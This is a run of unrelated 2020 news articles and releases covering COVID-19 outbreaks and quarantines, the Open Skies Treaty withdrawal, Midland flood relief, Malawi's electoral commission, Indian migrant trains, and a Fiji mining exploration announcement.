According to the captain of the vessel in an interview with St. Lucian media, the crew found themselves stuck in Haiti when the country was placed on lockdown. The crew members were released 15 days ago and decided to head to St. Lucia where they expected to disembark the St. Lucian crew man. That, as referenced earlier, was met with staunch disapproval.





Request that they be quarantined were also refused, though the ship and crew were allowed to replenish their food supply, after which they were ordered to leave St. Lucian waters.





The vessel then made its way to St. Vincent and the Grenadines. Mary Grant-St. Croix said that when the vessel entered St. Vincent and the Grenadines water, it remained off Chateaubelair.

She said her brother called the SVG Coast Guard.





"To be honest, I was happy when he said to me they came. They towed them down to their base in St. Vincent and they were very nice to them and they tied up the knot for them and everything, and they said the following day that the health people will come to assist them, she told THE VINCENTIAN.





She said that on Wednesday, her brother called and said the coast guard had made a thorough search of the vessel and they were told that local customs and immigrations would come to them. Up to press time, Grant-St. Croix had not heard from her brother.





She did say, though, that her brother had reported that he and two others were asked to pay 1400 USD for 14 days, to be quarantined at a hotel, but she had called the hotel to put a hold on the reservation.





"I want my brother to come back because I told one of the officers that if I am sure my brother is going back to Haiti, I will have to jump in the sea and go back with him because I want my brother to come back. We need him here because there is a storm on its way and you never know. They dont have any engine and they sailing.





She continued, "To be honest, I appreciate St. Vincent, but we want him back here, we cant afford the money to quarantine in St. Vincent.





She is disappointed with the St. Lucian government. "Why they denied my brother and the two other guys, and St. Vincent accept them? asked Mary.





The latest on this matter is that the three men are quarantined at a hotel in Calliaqua.
Over 60 cases of COVID-19, 4 deaths linked to rural Arkansas church: CDC

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As churches nationwide consider plans to reopen, the U.S. Centers for Disease Control and Prevention released a report showing how the coronavirus spread through a single Arkansas congregation earlier this year, resulting in dozens of infections and four deaths.

Titled High COVID-19 Attack Rate Among Attendees at Events at a Church  Arkansas, March 2020, the report released on Tuesday focuses on a rural church known as church A. The CDC reports that a cluster of at least 61 confirmed COVID-19 cases in the community were traced back to the church.

According to the report, the churchs pastor and wife were reported on March 16 to be the first two cases of COVID-19 in a rural county of about 25,000 people.

The couple attended church events from March 6 to March 11. The wife began showing symptoms of nonspecific respiratory symptoms and fever on March 10, followed by her husband on March 11.

According to the report, the pastor attended a Bible study group on March 11 before his symptoms developed.

Of 92 attendees at the church from March 6 to March 11, the CDC reports that 35 people (or 38%) were infected with COVID-19 and three died. The three who died were age 65 and older.

The report also states that there are an additional 26 cases and one other death linked to the congregation that impacted people outside the church in the broader community.

The cluster of coronavirus cases linked to the church was investigated by the Arkansas Department of Health.

The data indicates that the highest attack rates were among people ages 19 to 64 (59%) and those over 65 years of age (50%).

Despite canceling in-person church activities and closing the church as soon as it was recognized that several members of the congregation had become ill, widespread transmission within church A and within the surrounding community occurred, the report explains.

The primary patients had no known COVID-19 exposures in the 14 days preceding their symptom onset dates, suggesting that local transmission was occurring before case detection.

According to the report, two participants (not the pastor and his wife) who attended childrens events held March 6 to March 8 were found to have had onset of symptoms on March 6 and 7.

These represent the primary cases and likely were the source of infection of other church A attendees, the report adds. The two out-of-state guests developed respiratory symptoms during March 910 and later received diagnoses of laboratory-confirmed COVID-19.

The CDC recognized four limitations with its report. One limitation is that some infected individuals might not be included in the data because they were not tested. Additionally, CDC notes that tracking out-of-state transmission was not possible.

The report explains that while only 35 cases were confirmed among 92 church attendees, only 45 church attendees were tested.

The report also acknowledges the possibility that patients in the study could have been exposed to COVID-19 outside of the church. Also, information on individual behaviors, such as shaking hands and giving hugs, were not collected by researchers.



The CDC report comes as some states and localities across the U.S. are beginning to soften restrictions on large gatherings as they enter the beginning phases of their coronavirus recovery plans.

As a result, churches nationwide are making plans for how and when they will resume worship services. For the past two months, many churches in the U.S. have followed social distancing guidelines and halted in-person services. But some churches have defied the orders.

In its report, the CDC warns that churches and other faith-based organizations that are planning to resume in-person operations should be aware of the potential for high rates of transmission of SARS-CoV-2.

These organizations should work with local health officials to determine how to implement the U.S. Governments guidelines for modifying activities during the COVID-19 pandemic to prevent transmission of the virus to their members and their communities," the CDC advises.

The spread of COVID-19 has also occurred in other church communities across the globe as much emphasis has been placed on how the virus can easily spread in larger gatherings.

For example, the first confirmed case of COVID-19 in Washington, D.C., was an Episcopal priest who in early March tested positive for the virus after he shook hands with around 100 parishioners at church.

The Rev. Tim Cole, rector at Christ Church Georgetown, was eventually hospitalized. But by the end of the month, he was able to return home for further recovery.

In April, a California megachurch was linked to dozens of cases of coronavirus, which resulted in the death of two church members.

An evangelical church conference in France was blamed in late March for sparking what was at the time the countrys largest cluster of coronavirus cases.

In early March, a church was blamed for the early spread of the virus in South Korea.



A church in Georgia decided this week to again shut down its in-person worship services after members and leaders tested positive for the coronavirus after reopening.
Ethiopias regulator has called for parties to register Expressions of Interest in the countrys two new telecommunications licences.

The Ethiopian Communications Authority (ECA) has stated that the licences will be made available to qualified telecommunications companies via a competitive auction process. Potential bidders have until 22nd June 2020 to register their interest.

Additionally, the regulator clarified that the licences will be technology-neutral and valid for 15 years with an option to renew. The ECA noted that licence holders would have access to a range of spectrum across multiple frequency bands.

Under the basic licence terms and conditions, winning bidders will need to either meet or exceed coverage and teledensity targets based on both population and geographical area. Additionally, licensees tariffs must be deemed reasonable and universal accessibility is a further requirement.

Finally, the ECA noted that current and new licence holders would be expected to reach agreements on sharing infrastructure and facilities in order to achieve rapid and cost-efficient network deployment.

In November 2019, the regulator held a public consultation over issuing the new licences. Following this, it appointed the IFC (International Finance Corporation) as a transaction advisor and began developing numerous directives that will shape a robust legal and regulatory framework.
Roughly 265 staff members and residents at a Casper long-term care facility will be tested and quarantined after a case of the coronavirus was confirmed there, health officials said Thursday.

The contagious nature of COVID-19 and the high-risk setting prompted the testing of all staff and residents as soon as possible, the Casper-Natrona County Health Department said in a statement. That testing was performed Thursday.

The announcement did not name the facility. However, the Wyoming Department of Health identified it as Life Care Center of Casper. The centers director, Tess Bailey, later confirmed that a resident at the facility did test positive for COVID-19 and is now receiving care at a local hospital.

On Wednesday night, the Casper-Natrona County Health Department learned that the resident had tested positive. That person was tested after exhibiting symptoms, the health department said. Its unclear where that resident was originally exposed to the virus.

The department did not offer details about the person who was infected, other than to clarify that the resident was a previously identified case.

COVID-19 spreads easily and is of particular concern to health officials when its found in a nursing home or other long-term care facility, where older residents live in close quarters. Older people are also more likely to develop severe symptoms from the disease. On Thursday, the state announced the death of a COVID-19 patient at a Washakie County nursing home thats experiencing a coronavirus outbreak.

Mass testing

The county health department is relying heavily on its partnership with Wyoming Medical Center, the states largest hospital, to conduct so many tests at once, said Hailey Bloom, the agencys spokeswoman.

They offered us three testing sites, plus testing at our facility, Bloom said. Without that, it would be a logistical nightmare.

Bloom said the residents are quarantining at the facility itself. Given that some staff members are needed for the center to remain open, the Wyoming Health Department has permitted asymptomatic staff members to continue working. However, those workers would only be allowed to leave their homes to work, Bloom explained.

Due to the large number of staff members required to quarantine, these individuals who are asymptomatic but awaiting test results will be allowed to work only with appropriate personal protective equipment to ensure residents receive continued and required care, the Health Department said in an announcement.

Bailey confirmed in a Thursday evening statement that all staff and residents had been tested. If a resident tests positive, he or she will be placed in isolation within the building, she explained. Staff will recover at home and only return to work when they meet Centers for Disease Control and Prevention guidelines.

Our primary concern is for the health and safety of our residents, nursing staff and other care providers, Bailey said. They are on the front line of this unprecedented outbreak. Our staff is trained in proper use of PPEs and are following all relevant guidelines in infection control. They are putting in heroic efforts to ensure that our patients are receiving excellent care.

Bailey said the center would stay in regular contact with families and, since visitation remains restricted, would coordinate calls, video chats and window visits.

The positive case at Life Care comes amid a resurgence in cases in Natrona County, with 17 in the past nine days. Prior to that, the county had gone three weeks without a case. Two confirmed cases were reported Thursday, including a man in his 70s and a woman in her 30s.

On Wednesday, health officials here closed a local day care facility after a child tested positive for COVID-19. In that instance, 32 staff and children were tested and a total of 58 people were told to quarantine.

Bloom said the results of the tests from the childcare and long-term care facilities could be ready in as soon as 24 hours but might take longer.

The (Wyoming) Department of Health is prioritizing both of these tests, Bloom said. They know this is an urgent situation and they know we need to get these results as quickly as we can.

Focus on long-term care facilities

Also on Wednesday, the state announced a new testing program to address outbreaks at long-term care facilities. As part of that program, all staff and residents at facilities with identified cases will have to be tested weekly until the ongoing outbreak disappears.

Staff from our department are helping with the overall situation in Casper through consultation and support for contract tracing, as well as prioritized testing at the Wyoming Public Health Laboratory, said Wyoming Department of Health spokeswoman Kim Deti.

Two outbreaks have already occurred at long-term care facilities in Wyoming. Over the weekend, the state announced that five staff members and four residents at Worland Healthcare Rehabilitation Center tested positive for COVID-19. The latest person in Wyoming to die after contracting coronavirus, an older man who live at the center, was announced Thursday.

The other outbreak occurred in March at the Showboat Retirement Center in Lander. In that instance, 16 people were sickened.

Additionally, 22 cases have been linked to Wyoming Behavioral Institute in Casper.

To date, Wyoming has recorded more than 600 confirmed cases of coronavirus, with nearly 200 additional probable cases, according to the health department.

Twelve residents have died after contracting COVID-19.

To limit the virus spread, Gov. Mark Gordon and state health officer Dr. Alexia Harrist in March ordered the closure of schools and many businesses where people congregate, including bars, gyms and hair salons.

Gyms and personal care establishments were able to reopen with some restrictions May 1. The state has also allowed restaurants to open again  with conditions. And on May 15, the state allowed an order limiting public gatherings to 10 people or less was allowed to expire in favor of one setting the limit at 25.

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A US Open Skies aircraft takes off.

U.S. Air Force photo by Josh Plueger

The US is withdrawing from the Open Skies Treaty, an international pact that allows countries to conduct observation flights over the territory of other member states on short notice to promote transparency.

The US has accused Russia of violating the treaty by restricting flights and not upholding its obligations.

In a 2018 letter, former Secretary of Defense Jim Mattis said that he felt the treat was "in our Nation's best interest" despite Russian violations.

European allies and partners, including France and Germany, issued a joint statement Friday expressing "regret" at the US decision to withdraw.

Visit Business Insider's homepage for more stories.

European allies expressed "regret" Friday over the US plans to withdraw from the Open Skies Treaty, an agreement that former Secretary of Defense Jim Mattis once argued was in "our Nation's best interest" because it allowed the US to keep a close eye on malign Russian activities.

France and Germany, along with eight other NATO allies and partners, said in a joint statement Friday: "We regret the announcement by the US Government of its intention to withdraw from the Open Skies Treaty."

The US intends to submit a notice of withdrawal Friday, and in six months, "the United States will no longer be a party" to the 1992 treaty allowing its 34 signatory states to conduct short-notice observation flights over one another's territory to monitor military activities.

The Pentagon said Thursday that "after careful consideration, including input from Allies and key partners, it has become abundantly clear that it is no longer in the United States' best interest to remain a party to this Treaty when Russia does not uphold its commitments."

US allies and partners acknowledged in their statement Friday that they "share [US] concerns about implementation of the Treaty clauses by Russia."

Story continues

The US has considered Russia to be in violation of the treaty since 2017 because Russia has denied flights that should to be permitted under the treaty's provisions.

"Russia didn't adhere to the treaty, so until they adhere, we will pull out," President Donald Trump told reporters Thursday.

The US has accused Russia of restricting flights over Kaliningrad, preventing the observation of large military exercises, and using the treaty to support its propaganda efforts and justify its aggression.

Russia has previously argued that the US has violated the treaty as well, criticizing the US in 2018 for refusing to certify a Russian aircraft for treaty inspections without explanation.

In May 2018, Mattis wrote a letter to Nebraska Sen. Deb Fischer explaining that "despite Russia's violations of its obligations under the Treaty, it is my view that it is in our Nation's best interest to remain a party to the Open Skies Treaty."

He said that "Treaty imagery was a key visual aid during US engagement with allies and Russia regarding the military crisis in Ukraine" in 2014.

The former secretary of defense resigned from his position late in 2018 in part over US abandonment of its allies.

"We will continue to implement the Open Skies Treaty, which has a clear added value for our conventional arms control architecture and cooperative security," US allies in Europe said Friday. "We reaffirm that this treaty remains functioning and useful."

US withdrawal is not necessarily a done deal, as the US State Department said Thursday that it might "reconsider" its decision if Russia returns to "full compliance" with the treaty.

The Department of Defense stressed though that "in this era of Great Power Competition, we will strive to enter in to agreements that benefit all sides and that include parties who comply responsibly with their obligations."

The Open Skies Treaty is not the first agreement the Trump administration has pulled out of in response to alleged Russian violations.

Last year, the US withdrew from the Intermediate-range Nuclear Forces Treaty limiting the development and fielding of ground-launched missiles with ranges between 500 and 5,500 kilometers, or 310 and 3,100 miles. The US conducted its first test of a previously banned missile last August.

Read the original article on Business Insider
MIDLAND, MI  As Midland and surrounding communities work to recover from catastrophic flooding this week, chemical giants Dow and DuPont pledge to support their efforts. Midland is home to Dow.

In response to the widespread devastation caused by extensive rain and dam failure impacting its global headquarters community, Dow and the Dow Company Foundation announced today $1 million of financial support for immediate relief and long-term recovery efforts associated with the flooding and its aftermath, Dow officials announced in a news release Friday, May 22.

Michigans Great Lakes Bay Region has been Dows home for more than 120 years, and we are committed to helping our employees and our neighbors as we recover from this historic flood, Jim Fitterling, Dow chairman and CEO, said in a statement.

Dow will donate:

$250,000 toward a new Dow Employee Assistance Fund at the Midland Area Community Foundation to help Dow employees who have suffered an emergency hardship as a direct effect from the flooding.

$250,000 to the United Way of Midland Countys Rise Together Fund, providing hope and resources for thousands of families in need throughout Midland County who have been impacted by recent events. The Herbert H. and Grace A. Dow Foundation is matching these funds.

And $500,000 for allocation as needs surface throughout the recovery and rebuilding phase.

Also on Friday, DuPont officials announced a $100,000 donation to support the Midland community in its relief and recovery efforts associated with the recent historic flooding. Half of DuPonts donation will go to the Midland Flood Relief Fund and the other half will go to the Rise Together Fund.

For our employees, their families and our community, we begin the reality of damage assessment, clean-up efforts and the journey to recovering. Our ability to adapt to these situations is rooted in our core values and we will work with our employees, neighbors, community partners and local officials to help us all rebuild and emerge stronger together, Tim Lacey, vice president and general Manager, Performance Buildings and Corian Design, said in a statement.

Dow on Wednesday, May 20, implemented its flood preparedness plan in Midland, which included the safe shutdown of operating units on site and evacuation of all but essential staff. Later that day, company officials said floodwaters had mixed with an on-site pond used for storm water and brine system/groundwater remediation.

The material from the pond commingling with the flood waters does not create any threat to residents or environmental damage. There has been no reported product releases," Dow said in a statement.

The EPA said it was prepared to help the state assess whether public health or the environment were impacted by the flooding of Dow property in Midland and the Superfund cleanup area near Dow property and downstream on the Tittabawassee River.

DuPont has more than 1,100 employees living and working in Midland and surrounding counties. It has multiple locations, including offices, laboratory and manufacturing sites, across Michigan. In the Great Lakes Bay Region, it has an office and laboratory complex located at the Larkin Center, as well as, manufacturing assets at the Michigan Operations Industrial Park and HIMS located in Hemlock. Its operations have not been affected by flooding.

RELATED STORIES:

Dow critics skeptical of companys claim floodwaters pose no threat of contamination

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High school seniors in Spring ISD arent having the last days of school they envisionedthe pandemic has kept them at home, their prom has been cancelled, and their graduation alteredbut theyre making do.

Spring ISD is hosting two graduations for seniors this yearone will be virtual for students and families to watch from home, while the other graduation will be outdoors at Planet Ford Stadium. But the district must make great adjustments to hold the graduation outdoors, such as enforcing social distancing and masks, and only allowing two tickets per family to the event.

CELEBRATING SENIORS: Spring ISD planning for both virtual, in-person graduation ceremonies

Ruby Cabral-Gonzalez, a senior at Spring High School, said she was saddened about the outdoor graduation because of the two-ticket allowance.

It makes me a little bummed because I cant have everyone that I want there with me, Cabral-Gonzalez said. I wanted to have that stage walk because Im the first one in my family to go to college right after high school, so its definitely a big thing taken away.

Emily Fernandes, a senior at Carl Wunsche Senior High School, said she was upset about the pandemic affecting events like her graduation and her prom, but is trying to keep looking forward since the situation is out of her hands.

CORONAVIRUS MAY IMPACT SCHOOL CONSTRUCTION: Pandemic could delay Spring ISD ninth grade centers

More than anything, I was looking forward to prom because I had already bought my dress, Fernandes said.

She said she was also looking forward to graduating, as she is the first member of her family to graduate from high school and go to college. Fernandes said she will be studying criminal justice at Kansas Wesleyan University.

Clea Pinheiro, Fernandes mother, said seeing her daughter graduate was something she dreamed of.

When I was a teenager I watched many movies from the U.S. and they used to have all the celebrations for the graduation and prom, Pinheiro said. So, we dreamed that for my daughter and sadly will not have all of that.

Trinity Vaughn, another senior at Spring High School, said she was upset but has accepted the situation now.

Of course, anybody wouldnt have wanted their senior year like this but Im making the best of it, Vaughn said.

ON HOUSTONCHRONICLE.COM: Houston's graduating class of 2020 looks to the future after coronavirus derailed their senior year rites of passage

Valerie Archer, Vaughns mother, said Vaughn is her third and final child and they had planned a big party for her graduation with family flying in, but they cant do that now.

Party plans gone, trips gone, we had an after-graduation trip to Jamaica planned, its gone, Archer said. 

Sophia Hagen, a senior at Spring High School, said she was pretty upset about missing prom as she had bought an expensive dress, but said she and her family still found a way to enjoy it by getting together with her friends, taking pictures in their dresses and spending time together.

Its just all hectic, especially because Im a person who has AP finals and college finals, Hagen said. Its all a lot to handle.

Madison McClintock, another Spring High School senior, said she was sad about prom, but is trying to stay positive.

Its kind of depressing but at the end of the day we kind of have to make it positive and not negative because these are our last moments in high school, McClintock said. So, we really cant look at it like its the end of our senior year, we can just look at it as being in history.

Her mother, Kimberly McClintock, said it has been hard for her because she had two sons who previously graduated from Spring High, and only her daughter is left to graduate high school.

I wanted a daughter, I wanted to experience picking out a prom dress, seeing her live out the last moments of high school, and its a little different for me, especially during the pandemic, she said. But thank God we are going to have a virtual graduation and shell be able to walk. Its not like I envisioned it to be, but Im still gonna have that moment.

All Spring ISD schools will have virtual graduations June 6, with in-person graduations from June 12 through June 14 at Planet Ford Stadium.

paul.wedding@hcnonline.com
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Ansah has been the target of protests calling for her resignation over her handling of last years disputed election.

Malawi Electoral Commission (MEC) chief Jane Ansah has stepped down with just a month to go before the country holds a court-ordered presidential election rerun.

The southern African country must hold fresh polls after the Constitutional Court overturned the results of last years controversial election, which handed President Peter Mutharika a second term.

Ansah has since been the target of nationwide protests calling for her to go over her handling of the disputed election.

I have written the appointing authority [the president] that I have decided to step down, she told state broadcaster in an interview.

Leading human rights activists had been planning a fresh wave of protests next week to force Ansah to step down. Ansah denied she was giving in to pressure.

I have fought a good fight and I go happy, she said.I have worked with clean hands and I have no skeletons in my cupboard.

Ansahs resignation comes exactly a year after the last elections which were annulled by the top court due to widespread irregularities and use of correction fluid.

The court ordered that a fresh election be held within 150 days of its February 3 ruling.

The electoral commission had initially set July 2, which was day 149 since the ruling, but has since brought the date forward to June 23.

Human rights defender Gift Trapence welcomed Ansahs resignation.

This is what Malawians have been wanting all along, Trapence told AFP news agency.

But we also want all the commissioners to go so that a new MEC can be constituted to allow the country to hold free and credible elections.
WASHINGTON - A Trump enemy statement, he said of one study.

A political hit job, he said of another.

As United States President Donald Trump pushes to reopen the country despite warnings from doctors about the consequences of moving too quickly during the coronavirus crisis, he has been lashing out at scientists whose conclusions he doesnt like.

Twice this week, Trump has not only dismissed the findings of studies but suggested  without evidence  that their authors were motivated by politics and out to undermine his efforts to roll back coronavirus restrictions.

First it was a study funded in part by his own governments National Institutes of Health that raised alarms about the use of hydroxychloroquine, finding higher overall mortality in coronavirus patients who took the drug while in Veterans Administration hospitals. Trump and many of his allies had been touting the drug as a miracle cure, and Trump this week revealed that he has been taking it to try to ward off the virus  despite an FDA warning last month that it should only be used in hospital settings or clinical trials because of the risk of serious side effects, including life-threatening heart problems.

The Lancet, one of the worlds oldest and most well-respected medical journals, published a new study Friday that echoed those findings.

If you look at the one survey, the only bad survey, they were giving it to people that were in very bad shape. They were very old, almost dead," Trump told reporters Tuesday. It was a Trump enemy statement.

He offered similar pushback Thursday to a new study from Columbia Universitys Mailman School of Public Health. It found that more than 61 per cent of COVID-19 infections and 55 per cent of reported deaths  nearly 36,000 people  could have been been prevented had social-distancing measures been put in place one week sooner. Trump has repeatedly defended his administrations handling of the virus in the face of persistent criticism that he acted too slowly.

Columbias an institution thats very liberal, Trump told reporters Thursday. I think its just a political hit job, you want to know the truth.

Trump has long been skeptical of mainstream science  dismissing human-made climate change as a hoax, suggesting that noise from wind turbines causes cancer and claiming that exercise can deplete a bodys finite amount of energy. Its part of a larger skepticism of expertise and backlash against elites that has become increasingly popular among Trumps conservative base.

But undermining Americans trust in the integrity and objectivity of scientists is especially dangerous during a pandemic when the public is relying on its leaders to develop policies based on the best available information, said Larry Gostin, a Georgetown University law professor who is an expert in public health.

We have every right to expect that our leaders will use the best science to keep us safe and protect us, Gostin said. And so the idea that you reject objective scientific information that could inform policies that have life or death consequences is unfathomable.

The White House rejected that thinking, noting that Trump has followed his administrations public health officials recommendations through much of the crisis.

Any suggestion that the president does not value scientific data or the important work of scientists is patently false as evidenced by the many data-driven decision he has made to address the COVID-19 pandemic, including cutting off travel early from highly-infected populations, expediting vaccine development, issuing the 15-day and later 30-day guidance to slow the spread, and providing governors with a clear, safe road map to opening up America again," White House spokesperson Judd Deere said.

Yet Trump has made clear that, at least when it comes to hydroxychloroquine, he has prioritized anecdotal evidence, including a letter he told reporters hed received from a doctor in Westchester, a county in New York, claiming success with the drug.

Asked this week what evidence he had that the drug was effective in preventing COVID-19  contrary to FDA guidance  Trump responded: Are you ready? Heres my evidence: I get a lot of positive calls about it.

The only negative Ive heard, he added, was the study where they gave it  was it the VA?  with, you know, people that arent big Trump fans.

There is no evidence that the study, funded by grants from the NIH and the University of Virginia, was influenced by anyones opinions about Trump. The retrospective analysis was conducted by researchers at several universities and looked at the impact of hydroxychloroquine in patients at veterans hospitals across the nation. It found no benefit and more deaths among those given hydroxychloroquine versus standard care alone. That work was posted online for researchers and has not been reviewed by other scientists, but a larger observational study that looked at the outcomes of nearly 100,000 patients in 671 hospitals on six continents published Friday sounded similar alarms.

The Columbia study, in draft form, also hasnt yet been published or reviewed by other experts. The researchers ran numbers through a mathematical model, making assumptions about how quickly the coronavirus spreads and how people behave in hypothetical circumstances.

Trumps criticism of the studies also comes as his allies have been eager to counter messaging from public health experts who say Trump is putting lives at risk by pushing states to quickly reopen in an election year. Republican political operatives have been recruiting pro-Trump doctors to go on television to advocate for reviving the U.S. economy as quickly as possible, without waiting to meet federal safety benchmarks.

Gostin said Trump should leave it to his public health agencies to assess emerging data and the value of various studies.

I think there are real dangers," he said, for the president to play scientist and doctor on TV.
More than nine out of 10 teachers and principals have expressed fears about returning to work, according to a survey for a union.

Some who responded to the poll for the Ulster Teachers' Union, which represents 6,000 teachers here, said they were considering retirement rather than return to their schools.

However, the UTU said teachers were keen to get back to work - although it has to be done safely.

The survey was published as the Department of Education set out its plans for a phased restarting of the education system in August.

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Members were asked to respond regarding their own circumstances, fears and concerns about the Covid-19 situation.

The survey of more than 2,500 UTU members, the majority of them working in primary schools, carried out this month found that:

96% of teachers and 98% of principals expressed a degree of concern around returning to school.

A quarter (25%) of teachers said they would not be available for work under current Government shielding advice, as well as a third (33.3%) of non-teaching staff.

91% think schools won't be able to adhere to 2m social distancing of children.;

75% of teachers who responded said they have had no discussion with their board of governors about how their school would return to operation after lockdown, and 64% said there had been no discussion with principals.

67% of principals who responded said they were "very concerned" about returning to school.

More than 80% said children's temperatures should be regularly tested.

75% of teachers surveyed said they were available for work. Those who said they weren't either had personal health issues or were shielding a vulnerable person.

Over 80% of respondents believed gloves and/or masks should be worn by teachers on returning to work.

Writing in Friday's Belfast Telegraph, Ulster Teachers' Union president Stephen McCord said: "Although we all want to see children back in class, this will involve a balancing act between their learning and their health and wellbeing, for what happens in schools in terms of the virus will inevitably be reflected in the wider community, in the children's families - in our families.

Read More

"Young people need to be in class, but not at the expense of health and lives. Too many have been lost already.

"The last thing we want is for schools to open too soon or unprepared and then have to close again, throwing families into yet more turmoil.

"The collaborative approach the department and the EA [Education Authority] are taking with us will enable us all to be assured that areas of concern are being thoroughly investigated and resolved."

The survey also highlighted a range of other issues:

Concerns over hygiene and hand-washing facilities.

Challenges around overseeing pupils in class while liaising with those working from home online.

Children's possible erratic attendance due to symptoms.

Concern that children who had been engaging with online learning would come back to school at the earliest opportunity while those who didn't would stay away.

One teacher told the survey: "If school budgets are anything to go by currently then staff will not be protected efficiently.

"I feel school staff are going to be used as 'guinea pigs' regarding reopening of schools whilst there still is no treatment/vaccine.

"Staff sickness is already high in schools and so there will be even more staff shortages which will put even more pressure on those who are in work.

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"Schools struggle to get enough soap, paper towels at the best of times - there needs to be a severe ramping up of PPE provided for teachers as well as allowing cleaning staff to have appropriate time to deep-clean each classroom effectively."

Teachers were also worried about managing hygiene issues, and shared their fears about how difficult they felt it would be for schools and equipment to be kept free from contamination by Covid-19.

"Who will ensure surfaces are cleaned regularly?" one teacher asked.

"How can we mark work that children are handling safely?

"How can we enforce social distancing in dinner hall?

"How do we ensure items children bring in from home are virus free, for example school bags, coats, food, homework, pencils, etc?"
It is not our practice to comment publicly on any matter, and certainly not on opinions published in the Chattanoogan.com, but the shameful article regarding Erlanger by Mr. Exum demands a response from the elected leadership of the Erlanger Medical Staff. The reasons for this response are two-fold.

First, as leaders of the Medical Staff, we are in a position to see and understand much of what happens at Erlanger.

It is important for Erlanger staff and our community to know that while these are difficult and extraordinary times, Erlanger is not in chaos. We interact with Dr. Jackson daily and meet with the Erlanger Board of Trustees in closed session for an open discussion at each meeting. The Chief of Staff is a member of the Board. The reality is that the communication between the Medical Staff and the Erlanger Board of Trustees has never been more open than it is today.

Second, and more importantly, the Erlanger Medical staff is responsible for the quality of care our patients receive. We work hard everyday to take care of our patients, and when we fail to meet our expectations or our patients needs, we work with hospital management to try to resolve any outstanding issues. These are difficult discussions in any hospital, particularly in a place like Erlanger. In our experience with Dr. Jackson, as Chief Medical Officer and CEO, he has shown an unwavering commitment to patient care and respect for the medical and nursing staff even in the adverse circumstances of the previous administration.

What is in chaos is the practice of medicine. Never before have physicians been more stressed or confronted with more uncertainty about their future. Corporate practice, hospital employment, challenges with trying to run a private practice are all on the minds of physicians today. The problems of physician burnout were well documented prior to the COVID pandemic, now physicians are even fearful for their own health as well as their families. It has now become common place for a physician to change practices in line with their personal interests. While it is not surprising that some physicians would blame a hospital CEO for their circumstances, it is disappointing that, rather than working with the Medical Staff and the Erlanger Board of Trustees for change, they chose to anonymously rant to a gossip columnist. This is neither helpful nor constructive.

Erlanger has been and remains the most uniquely underfunded public hospital in America for the scale and scope of the services provided to our community and region. These financial challenges will only grow as the effects of the COVID pandemic continue to manifest itself in even more uncompensated care at our county hospital. Dr. Jackson has worked tirelessly to manage this seemingly impossible situation to the best of his ability. He has strengths and weaknesses as do we all. But what is true about Dr. Will Jackson is something that he shares with the Medical Staff leadership and the Erlanger Board- he believes in the Erlanger mission of service to our community and our patients. Not every Erlanger CEO has demonstrated that commitment in the past.

Ultimately, it is the Erlanger Board of Trustees that will judge the leadership and performance of Dr. Jackson. The Board will hear our opinions and judgements, as well as all others who care to share them. Poorly sourced political hatchet jobs do not serve the public interest and make our job of taking care of patients at Erlanger that much harder.

Dr. Jackson has our full support and gratitude for all of his hard work.

Jim Bolton, MD

Chief of Staff

Chris Young, MD

Vice-Chief of Staff

Chris Poole, MD

Secretary of the Medical Staff

Jay Sizemore, MD

Past Chief of Staff
The Railways has ferried over 31 lakh migrant workers on board 2,317 Shramik Special trains since May 1, almost seven lakh more than the initial projection of 24 lakh, according to official data.

The initial estimation of migrant workers to be transported back to their home towns were based on details provided by various state governments to the zonal offices of the Railways in late April when it was deciding on protocols to run the special trains, officials said.

However, the national transporter said that it does not have current details of the total numbers of stranded migrant labourers who want to return to their homes and are operating trains based on the requirements of the states.

The Shramik Special trains are being operated primarily on the requests of the states which want to send the migrant workers to their home states. The Railways is bearing 85 per cent of the total cost of running each of the trains while the share of the states is 15 per cent.

"The Railways is spending an estimated Rs 80 lakh on each of these trains on an average," an official told PTI.

The coronavirus lockdown has had a devastating impact on the economy as well as on the livelihoods of lakhs of migrant workers.

The lockdown had shone the spotlight on the miseries of the migrant workers whose journeys on foot from several urban centres to their villages hundreds of kilometres away had grabbed headlines for almost the last two months.

There were incidents of many of them being killed in road accidents. A number of migrant labourers were even killed by a speeding train after they fell asleep on the tracks.

According to the official data with the Railways, provided to it by the states in April-end, the Western Railways, which covers states like Maharashtra, Gujarat, Rajasthan, Madhya Pradesh, received requests to ferry around seven lakh migrant workers to states like Uttar Pradesh, Bihar, West Bengal, Madhya Pradesh, Rajasthan, Delhi, Assam, Haryana and Odisha.

The Southern Railways, which operates in Tamil Nadu, Kerala, Andhra Pradesh, Karnataka, Puducherry, received a list of 11.4 lakh migrants to be ferried back to Bihar, Uttar Pradesh, Delhi, Assam, Odisha, Andhra Pradesh and Telangana.

Similarly, the Central Railways received requests to ferry 2.94 lakh migrant workers while the Northern Railways was approached to transport 2.84 lakh. The South Central Railways received requests to ferry 1.86 lakh workers.

"As of now, we do not have a consolidated data on how many of these workers want to go home," said another Railway official.

"In fact, we have already surpassed the estimations that the state governments have given us of stranded people. The Railways has the capacity to run up to 300 trains daily if needed," he said.

The Railway is currently operating 15 pairs of special trains since May 12 on Rajdhani routes, in addition to the Shramik Special trains. It will also operate 100 pairs of special mail/express trains from June 1.

"We will continue to run these migrant special trains as long as we receive requests from states," said a Railway official.

Out of the 31 lakh migrant workers who returned to their homes travelling by Shramik Express trains, around 12 lakh came back to Uttar Pradesh, over seven lakh to Bihar and more than one lakh each to Jharkhand and Rajasthan, according to the Railways.

Officials also said that the Railways is getting requests from states like Bihar and West Bengal where people want to return to cities where they were working.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
DGAP-News: Thunderstruck Resources Ltd. / Key word(s): Miscellaneous



The issuer is solely responsible for the content of this announcement.

Vancouver, British Columbia--(Newsfile Corp. - May 21, 2020) - Thunderstruck Resources Ltd. (TSXV: AWE) (OTC: THURF) ("Thunderstruck") is pleased to announce its 2020 exploration program (the "Program) on its Korokayiu Zinc/Copper Prospect ("Korokayiu") in Fiji with JV partner Japan Oil, Gas and Metals National Corporation ("JOGMEC"). Bryce Bradley, President and CEO of Thunderstruck Resources, commented: "After the high-grade copper and zinc drill results from 2019, we are eager to get started on our second year of drilling with our partners at JOGMEC. Like other industries and sectors, we've experienced setbacks and delays due to the pandemic, so we're thrilled to be finally starting our 2020 exploration program. Thunderstruck is fortunate in that our exploration season in Fiji coincides with the gradual re-opening of the global economy. As of this writing, Fiji no longer has any new cases of COVID-19, so local Fijian employees are free to prepare the camp, maintain roadworks and build drill pads now throughout the month of June, with social distancing measures in place, in expectation of the full-scale commencement of the exploration program at the beginning of July, or earlier, once their borders fully re-open." The program over the next year includes: Cannot view this image? Visit: https://media.zenfs.com/en-us/eqs_uk_988/ce1069bf03ba95833abaf259ec558287



